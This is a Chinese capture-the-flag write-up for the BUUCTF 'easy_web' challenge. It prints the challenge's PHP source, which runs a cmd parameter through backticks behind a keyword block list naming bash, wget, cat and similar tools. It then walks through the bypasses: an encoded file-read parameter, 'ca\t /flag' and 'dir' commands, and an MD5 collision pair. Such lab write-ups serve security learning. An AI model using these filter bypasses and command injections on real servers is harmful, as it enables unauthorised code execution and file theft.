首页 > 其他分享 >BUUCTF [安洵杯 2019]easy_web

BUUCTF [安洵杯 2019]easy_web

时间:2023-09-01 16:34:18浏览次数:47  
标签:BUUCTF -- cmd 安洵 echo base64 2019 POST md5

试试模板注入发现,不行,然后伪协议,不行,再爆破目录也不行。
?img=TXpVek5UTTFNbVUzTURabE5qYz0入手,可能是base64编码。
base64解码:

(不知道为什么别的WP上变成这样了,否则解不出来)
TXpVek5UTTFNbVUzTURabE5q

得到:

MzUzNTM1MmU3MDZlNj

再base64解码:

MzUzNTM1MmU3MDZl

得到:

3535352e706e

ASCII hex解码得到:

555.pn(也就是555.png)

那我们尝试用这样的方法获取源码index.php

source --> ASCII --> base64 --> base64
index.php --> 696e6465782e706870 --> Njk2ZTY0NjU3ODJlNzA2ODcw --> TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3代替原本的img文件名

得到网站源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

要达到最后执行到``echo $cmd```,我们需要绕过preg_match()的过滤还有通过POST传递的ab`满足值不同,但md5加密后强比较相同。

  1. preg_match()绕过
    可以用linux命令绕过,使用dir命令代替ls命令
    首先?cmd=dir,没发现什么
    接着?cmd=dir%20/,发现根目录下的文件
bin   dev  flag  lib	media  opt   root  sbin  sys  usr
boot  etc  home  lib64	mnt    proc  run   srv	 tmp  var
接着`?cmd=ca\t%20/flag`
  1. md5强比较绕过
    给个例子:
string1=4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
string2=4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

他们有一样的md5值:

008ee33a9d58b51cfeb425b0959121c9

得到flag{ad515619-5003-4c37-951e-0b9acc4bc9e2}

REQUEST请求是POST的请求,但也有GET传参
为什么a,b的值要加%?




参考链接:
https://blog.csdn.net/SopRomeo/article/details/104124545
https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
Linux命令执行绕过

标签:BUUCTF,--,cmd,安洵,echo,base64,2019,POST,md5
From: https://www.cnblogs.com/darkcyan/p/17672281.html

相关文章

  • BUUCTF [GWCTF 2019]我有一个数据库
    文件包含漏洞,和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时......
  • BUUCTF [极客大挑战 2019]HardSQL
    判断过滤哪些关键词和字符报错注入报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复xpa......
  • BUUCTF [HCTF 2018]admin
    寻找破解知识点方法1-Flasksession伪造首先,先注册一个再登录,在changepassword那里查看源码,可以看到有提示:原链接已经404,看的这一个https://github.com/Wkh19/hctf_flask这是一个flask模板,这样来看,这是一道模板注入类型的题目。Session机制详解session可以在此处查看......
  • BUUCTF [强网杯 2019]随便注
    判断传参方式,输入1'or1=1,URL传参,所以是get。报错error1064:YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMariaDBserverversionfortherightsyntaxtousenear'''atline1报错说明后端参数后面有可能存在其他sql语句,我们......
  • vs2019-cuda配置入门
    cuda使用如下1、打开VS,新建C++空项目 2、右击源文件->添加->新建项 3、选择CUDAC/C++File,名称位main.cu 4、把下面的示例源码复制到main.cu中#include"cuda_runtime.h"#include"device_launch_parameters.h"#include<stdio.h>/***************************......
  • [极客大挑战 2019]PHP
    [极客大挑战2019]PHP打开链接,提示有备份网站的习惯![image-20230821164500785](../../../../../../Typora文章/[极客大挑战2019]PHP/image-20230821164500785.png)因此此时尝试访问一些常见的网站备份文件名,例如:常见网站源码备份文件后缀:tar.gz zip rar tar常见网站源......
  • CSP-J2019初赛易错题解析
    7.把 8 个同样的球放在 5 个同样的袋子里,允许有的袋子空着不放,问共有多少种不同的分法?()提示:如果 8 个球都放在一个袋子里,无论是哪个袋子,都只算同一种分法。A.22B.24 C.18 D.20正解:使用枚举法,枚举所有合法情况,共18种 ......
  • CSP-S2019初赛易错题解析
    一.6.由数字 1,1,2,4,8,8 所组成的不同的 4 位数的个数是()A.104  B. 102  C. 98  D. 100错误原因:遗漏答案正解:使用穷举法,第一种ABCD型,共有A(4,4)=24种,第二种AABC型,共有A(4,2)*C(3,2)*2=72种,第三种AABB型,共有6种,总共是102种。 8.G 是一个非连通无向图(......
  • P6302 [NOI2019] 回家路线 加强版
    P6302[NOI2019]回家路线加强版斜率优化好题。观察后猜想应该是dp。经过思考发现如果以点为状态,在时间这一维上是存在后效性的,而如果开二维数组\(f_{i,j}\)表示在第\(j\)个时刻到了\(i\)个点过不去加强版,考虑以列车为状态。题目有两个限制,一是出发点和结束点的限制,即......
  • [十二省联考 2019] 春节十二响
    题目链接。题意给出一棵有\(n\)个节点的树,要求你将集合\(\{1,2,\dots,n\}\)划分成若干个子集,使得没有子集拥有节点对满足两个元素在树上是祖孙关系。你需要最小化子集的最大值之和。先考虑带有启发性的子任务\(4\)(树是一颗链)。具体来说,树有以下两种形态:根节点是链的......